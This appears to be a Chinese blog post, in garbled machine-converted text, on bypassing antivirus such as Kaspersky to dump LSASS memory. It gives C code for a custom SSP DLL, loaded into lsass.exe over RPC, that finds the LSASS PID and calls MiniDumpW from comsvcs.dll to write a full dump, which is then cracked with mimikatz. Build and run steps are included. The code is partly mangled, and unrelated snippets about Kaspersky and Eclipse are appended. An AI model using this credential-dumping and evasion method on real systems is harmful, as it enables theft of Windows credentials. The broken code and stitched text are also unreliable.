原理:正常的ssp擴充套件(dll)可以載入到lsass程序中去,比如kerberos驗證都是通重載入kerberos.dll(它就是一種ssp)呼叫sspi來進行驗證,所以我們就可以控制載入乙個我們自己的dll執行惡意**從而dump hash,但是殺軟肯定會對常規ssp擴充套件載入進行檢測,所以看了xpn的文章,可以通過rpc控制lsass.exe進而載入ssp擴充套件。
首先是乙個exe程式,通過rpc來載入ssp,xpn大佬給了三個檔案,兩個c檔案,乙個頭部檔案,就直接在vs裡照著編就行了。我這裡用的是vs2015,建議新建空專案。
release x64 多位元組,我自己是這麼編的
然後再編乙個dll,就是我們需要載入的ssp,這裡參考qaxa-team的**,其實原理也就是通過comsvcs.dll呼叫minidumpw()函式來dump hash。新增了自動獲取lsass.exe的pid功能
**如下
#include #include #include #include #include #pragma comment(lib,"dbghelp.lib")
typedef hresult(winapi* _minidumpw)(
dword arg1, dword arg2, pwchar cmdline);
typedef ntstatus(winapi* _rtladjustprivilege)(
ulong privilege, bool enable,
bool currentthread, pulong enabled);
char* wchartochar(wchar_t* wc)
dword id(const char* pname)
processentry32 pe = ;
for (bool ret = process32first(hsnapshot, &pe); ret; ret = process32next(hsnapshot, &pe))
} closehandle(hsnapshot);
return 0;
}int dump()
// try enable debug privilege
rtladjustprivilege(20, true, false, &t);
wchar_t ws[100];
dword pid = id("lsass.exe");
swprintf(ws, 100, l"%u %hs", pid,"%temp%\\1.bin full"); //784是lsass程序的pid號 "full"
minidumpw(0, 0, ws);
return 0;
}bool apientry dllmain(hmodule hmodule, dword ul_reason_for_call, lpvoid lpreserved)
return true;
}
直接編譯還是release x64,這裡編譯的型別得和exe程式一樣
編號之後把exe和dll各自拷出來,執行就ok
路徑不能有中文路徑,後面的dll得跟絕對路徑,不過可以自行修改**改為相對路徑。成功dump
mimikatz解之
卡巴斯基阻塞網路?
一直都鍾情於卡巴斯基的防毒軟體。從以前的5版本用到現在的2009,見證了它的變化。個人感覺是版本5當初進入中國時,是特別耗費資源的,後來的版本應該說徹底解決問題了,抑或是我電腦效能變好了?基本都是用的卡巴正版。這次的2009,我也是買了一年正版全功能,但最近發現些許問題,就是開了卡巴,不能連線伺服器...
繞過卡巴斯基等殺軟抓取 lsass 記憶體踩坑
正常的 ssp 擴充套件 dll 可以載入到 lsass 程序中去,比如 kerberos 驗證都是通重載入 kerberos.dll 它就是一種 ssp 呼叫 sspi 來進行驗證,所以我們就可以控制載入乙個我們自己的 dll 執行惡意 從而 dump hash,但是殺軟肯定會對常規 ssp 擴充...
卡巴斯基淨惹禍了
前段時間在eclipse中進行checkout原始碼的時候,突然不能夠進行checkout,總是斷開,老是報錯,進行了反覆的檢查也沒有找到問題。後來沒有別的辦法了,只有求助同事了,同事一看,還不錯,原來他以前也遇到過這個問題,但是他的解決方法比較老了一些,把卡巴關了,再進行checkout就行了,說...